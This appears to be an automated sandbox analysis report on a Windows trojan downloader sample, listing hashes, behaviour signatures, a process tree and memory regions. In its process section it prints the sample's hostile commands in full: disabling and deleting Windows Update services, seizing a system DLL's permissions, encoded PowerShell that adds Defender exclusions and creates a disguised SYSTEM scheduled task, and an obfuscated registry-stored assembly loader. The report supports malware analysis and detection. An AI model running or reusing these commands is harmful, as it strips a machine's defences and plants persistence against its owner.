Analysis
-
max time kernel
14s -
max time network
87s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
01-09-2022 18:43
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe
Resource
win7-20220812-en
General
-
Target
SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe
-
Size
4.5MB
-
MD5
b7c12ce33a5c2de80bcd7083d839df6e
-
SHA1
6d2bce616fc00cafeb2ae4c5499305b36fcfb4f1
-
SHA256
65970760831f083ce65c5ec185f5c1d1c73217bcf600de567f2960b592412c52
-
SHA512
b3cbb1c781217aee343352f5ef2668fec9aa70a3f8ed39eafef88815bc4b5a858965d4ea9d30f86e04cdff4d22bef4447333027a56fbc02fc9708203e9987225
-
SSDEEP
98304:Ha3DFNglg7shj9/X92ZmvG+Hc7supSg8MXGBl3Qbf2jYpvRhzPQA:q23V9/X9pvL+sWKMXGwDEYVx
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 4880 takeown.exe 4116 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
icacls.exetakeown.exepid process 4116 icacls.exe 4880 takeown.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 7 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exedescription pid process target process PID 4976 set thread context of 2336 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe conhost.exe -
Drops file in Windows directory 4 IoCs
Processes:
conhost.exedescription ioc process File created C:\Windows\Tasks\dialersvc32.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc32.job conhost.exe File created C:\Windows\Tasks\dialersvc64.job conhost.exe File opened for modification C:\Windows\Tasks\dialersvc64.job conhost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 344 sc.exe 3552 sc.exe 4216 sc.exe 3960 sc.exe 3820 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 4484 reg.exe 3932 reg.exe 3032 reg.exe 3744 reg.exe 1616 reg.exe 3852 reg.exe 3940 reg.exe 4464 reg.exe 824 reg.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exeSecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exepid process 5048 powershell.exe 5048 powershell.exe 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exeSecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exedescription pid process Token: SeDebugPrivilege 5048 powershell.exe Token: SeDebugPrivilege 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe Token: SeShutdownPrivilege 3544 powercfg.exe Token: SeCreatePagefilePrivilege 3544 powercfg.exe Token: SeShutdownPrivilege 400 powercfg.exe Token: SeCreatePagefilePrivilege 400 powercfg.exe Token: SeShutdownPrivilege 3256 powercfg.exe Token: SeCreatePagefilePrivilege 3256 powercfg.exe Token: SeShutdownPrivilege 3140 powercfg.exe Token: SeCreatePagefilePrivilege 3140 powercfg.exe Token: SeTakeOwnershipPrivilege 4880 takeown.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.execmd.execmd.exedescription pid process target process PID 4976 wrote to memory of 5048 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe powershell.exe PID 4976 wrote to memory of 5048 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe powershell.exe PID 4976 wrote to memory of 2652 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe cmd.exe PID 4976 wrote to memory of 2652 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe cmd.exe PID 4976 wrote to memory of 1564 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe cmd.exe PID 4976 wrote to memory of 1564 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe cmd.exe PID 2652 wrote to memory of 344 2652 cmd.exe sc.exe PID 2652 wrote to memory of 344 2652 cmd.exe sc.exe PID 1564 wrote to memory of 3544 1564 cmd.exe powercfg.exe PID 1564 wrote to memory of 3544 1564 cmd.exe powercfg.exe PID 2652 wrote to memory of 3552 2652 cmd.exe sc.exe PID 2652 wrote to memory of 3552 2652 cmd.exe sc.exe PID 2652 wrote to memory of 4216 2652 cmd.exe sc.exe PID 2652 wrote to memory of 4216 2652 cmd.exe sc.exe PID 1564 wrote to memory of 400 1564 cmd.exe powercfg.exe PID 1564 wrote to memory of 400 1564 cmd.exe powercfg.exe PID 2652 wrote to memory of 3960 2652 cmd.exe sc.exe PID 2652 wrote to memory of 3960 2652 cmd.exe sc.exe PID 1564 wrote to memory of 3256 1564 cmd.exe powercfg.exe PID 1564 wrote to memory of 3256 1564 cmd.exe powercfg.exe PID 2652 wrote to memory of 3820 2652 cmd.exe sc.exe PID 2652 wrote to memory of 3820 2652 cmd.exe sc.exe PID 1564 wrote to memory of 3140 1564 cmd.exe powercfg.exe PID 1564 wrote to memory of 3140 1564 cmd.exe powercfg.exe PID 2652 wrote to memory of 3852 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3852 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3940 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3940 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3932 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3932 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3032 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3032 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3744 2652 cmd.exe reg.exe PID 2652 wrote to memory of 3744 2652 cmd.exe reg.exe PID 2652 wrote to memory of 4880 2652 cmd.exe takeown.exe PID 2652 wrote to memory of 4880 2652 cmd.exe takeown.exe PID 2652 wrote to memory of 4116 2652 cmd.exe icacls.exe PID 2652 wrote to memory of 4116 2652 cmd.exe icacls.exe PID 2652 wrote to memory of 4464 2652 cmd.exe reg.exe PID 2652 wrote to memory of 4464 2652 cmd.exe reg.exe PID 2652 wrote to memory of 1616 2652 cmd.exe reg.exe PID 2652 wrote to memory of 1616 2652 cmd.exe reg.exe PID 2652 wrote to memory of 4484 2652 cmd.exe reg.exe PID 2652 wrote to memory of 4484 2652 cmd.exe reg.exe PID 2652 wrote to memory of 824 2652 cmd.exe reg.exe PID 2652 wrote to memory of 824 2652 cmd.exe reg.exe PID 2652 wrote to memory of 4432 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 4432 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 1692 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 1692 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 2956 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 2956 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 2872 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 2872 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 3580 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 3580 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 1236 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 1236 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 924 2652 cmd.exe schtasks.exe PID 2652 wrote to memory of 924 2652 cmd.exe schtasks.exe PID 4976 wrote to memory of 2336 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe conhost.exe PID 4976 wrote to memory of 2336 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe conhost.exe PID 4976 wrote to memory of 2336 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe conhost.exe PID 4976 wrote to memory of 2336 4976 SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.9818.8758.2030.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAYgByAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBtAHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbwB4AGIAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBpAHcAdwAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f3⤵
- Modifies security service
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f3⤵
- Modifies registry key
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q3⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\reg.exereg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f3⤵
- Modifies registry key
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE3⤵
-
C:\Windows\system32\schtasks.exeSCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAbQB5AHcAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEARwBVAEEAYwB3AEIAcwBBAEMATQBBAFAAZwBBAGcAQQBGAE0AQQBkAEEAQgBoAEEASABJAEEAZABBAEEAdABBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEASQBBAEEAdABBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBVAEEAQgBoAEEASABRAEEAYQBBAEEAZwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBBAGcAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEAYwB3AEIAYwBBAEUAYwBBAGIAdwBCAHYAQQBHAGMAQQBiAEEAQgBsAEEARgB3AEEAUQB3AEIAbwBBAEgASQBBAGIAdwBCAHQAQQBHAFUAQQBYAEEAQgAxAEEASABBAEEAWgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBaAFEAQgA0AEEARwBVAEEASgB3AEEAZwBBAEMAMABBAFYAZwBCAGwAQQBIAEkAQQBZAGcAQQBnAEEARgBJAEEAZABRAEIAdQBBAEUARQBBAGMAdwBBAGcAQQBEAHcAQQBJAHcAQgB4AEEARwBVAEEASQB3AEEAKwBBAEEAPQA9ACIAJwApACAAPAAjAGYAcgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAGMAawBrACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAeAB4ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAdgB2AGUAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAYwB1AHIAaQB0AGUASQBuAGYAbwAuAGMAbwBtAC4AVAByAG8AagBhAG4ALgBEAG8AdwBuAEwAbwBhAGQAZQByADQANQAuADkAOAAxADgALgA4ADcANQA4AC4AMgAwADMAMAAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGkAeQBiAHoAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAGgAYwBiAHgAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{985fa9bf-79ae-4e73-87ea-10050f941ba3}1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAGUAcwBsACMAPgAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgADwAIwBxAGUAIwA+AA=="1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
memory/344-140-0x0000000000000000-mapping.dmp
-
memory/400-144-0x0000000000000000-mapping.dmp
-
memory/616-199-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmpFilesize
64KB
-
memory/680-200-0x00007FFFADAD0000-0x00007FFFADAE0000-memory.dmpFilesize
64KB
-
memory/824-159-0x0000000000000000-mapping.dmp
-
memory/924-166-0x0000000000000000-mapping.dmp
-
memory/1044-198-0x0000000005290000-0x00000000052AE000-memory.dmpFilesize
120KB
-
memory/1044-178-0x00000000019A0000-0x00000000019D6000-memory.dmpFilesize
216KB
-
memory/1044-179-0x0000000004470000-0x0000000004A98000-memory.dmpFilesize
6.2MB
-
memory/1044-182-0x00000000042C0000-0x00000000042E2000-memory.dmpFilesize
136KB
-
memory/1044-188-0x0000000004C50000-0x0000000004CB6000-memory.dmpFilesize
408KB
-
memory/1044-186-0x0000000004360000-0x00000000043C6000-memory.dmpFilesize
408KB
-
memory/1100-196-0x00007FFFEDA50000-0x00007FFFEDC45000-memory.dmpFilesize
2.0MB
-
memory/1100-191-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1100-190-0x00007FFFEDA50000-0x00007FFFEDC45000-memory.dmpFilesize
2.0MB
-
memory/1100-184-0x00000001400033F4-mapping.dmp
-
memory/1100-183-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1100-192-0x00007FFFED820000-0x00007FFFED8DE000-memory.dmpFilesize
760KB
-
memory/1100-185-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1100-187-0x0000000140000000-0x0000000140042000-memory.dmpFilesize
264KB
-
memory/1112-180-0x00007FFFEDA50000-0x00007FFFEDC45000-memory.dmpFilesize
2.0MB
-
memory/1112-193-0x00007FFFEDA50000-0x00007FFFEDC45000-memory.dmpFilesize
2.0MB
-
memory/1112-177-0x00007FFFCE4A0000-0x00007FFFCEF61000-memory.dmpFilesize
10.8MB
-
memory/1112-195-0x00007FFFED820000-0x00007FFFED8DE000-memory.dmpFilesize
760KB
-
memory/1112-194-0x00007FFFCE4A0000-0x00007FFFCEF61000-memory.dmpFilesize
10.8MB
-
memory/1112-181-0x00007FFFED820000-0x00007FFFED8DE000-memory.dmpFilesize
760KB
-
memory/1236-165-0x0000000000000000-mapping.dmp
-
memory/1564-138-0x0000000000000000-mapping.dmp
-
memory/1616-157-0x0000000000000000-mapping.dmp
-
memory/1692-161-0x0000000000000000-mapping.dmp
-
memory/2028-189-0x00007FFFCE4A0000-0x00007FFFCEF61000-memory.dmpFilesize
10.8MB
-
memory/2028-173-0x0000000000000000-mapping.dmp
-
memory/2028-176-0x00007FFFCE4A0000-0x00007FFFCEF61000-memory.dmpFilesize
10.8MB
-
memory/2336-170-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/2336-169-0x0000000140001844-mapping.dmp
-
memory/2336-171-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/2336-168-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/2336-172-0x0000000140000000-0x0000000140056000-memory.dmpFilesize
344KB
-
memory/2652-137-0x0000000000000000-mapping.dmp
-
memory/2872-163-0x0000000000000000-mapping.dmp
-
memory/2956-162-0x0000000000000000-mapping.dmp
-
memory/3032-152-0x0000000000000000-mapping.dmp
-
memory/3140-148-0x0000000000000000-mapping.dmp
-
memory/3256-146-0x0000000000000000-mapping.dmp
-
memory/3544-141-0x0000000000000000-mapping.dmp
-
memory/3552-142-0x0000000000000000-mapping.dmp
-
memory/3580-164-0x0000000000000000-mapping.dmp
-
memory/3744-153-0x0000000000000000-mapping.dmp
-
memory/3820-147-0x0000000000000000-mapping.dmp
-
memory/3852-149-0x0000000000000000-mapping.dmp
-
memory/3932-151-0x0000000000000000-mapping.dmp
-
